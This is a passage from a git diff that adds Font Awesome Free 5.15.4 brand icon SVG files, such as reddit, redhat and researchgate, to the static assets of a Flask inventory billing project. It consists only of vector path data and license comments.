20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reacteurope.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reacteurope.svg new file mode 100644 index 00000000..9e979556 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reacteurope.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/readme.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/readme.svg new file mode 100644 index 00000000..d67ec546 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/readme.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rebel.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rebel.svg new file mode 100644 index 00000000..4aaf20ca --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rebel.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/red-river.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/red-river.svg new file mode 100644 index 00000000..4043d1b4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/red-river.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reddit-alien.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reddit-alien.svg new file mode 100644 index 00000000..42a0cd51 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reddit-alien.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reddit-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reddit-square.svg new file mode 100644 index 00000000..a1725d61 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reddit-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reddit.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reddit.svg new file mode 100644 index 00000000..f0b4f034 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/reddit.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/redhat.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/redhat.svg new file mode 100644 index 00000000..02bf53fe --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/redhat.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/renren.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/renren.svg new file mode 100644 index 00000000..f8b267f2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/renren.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/replyd.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/replyd.svg new file mode 100644 index 00000000..bca361a5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/replyd.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/researchgate.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/researchgate.svg new file mode 100644 index 00000000..801ba191 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/researchgate.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 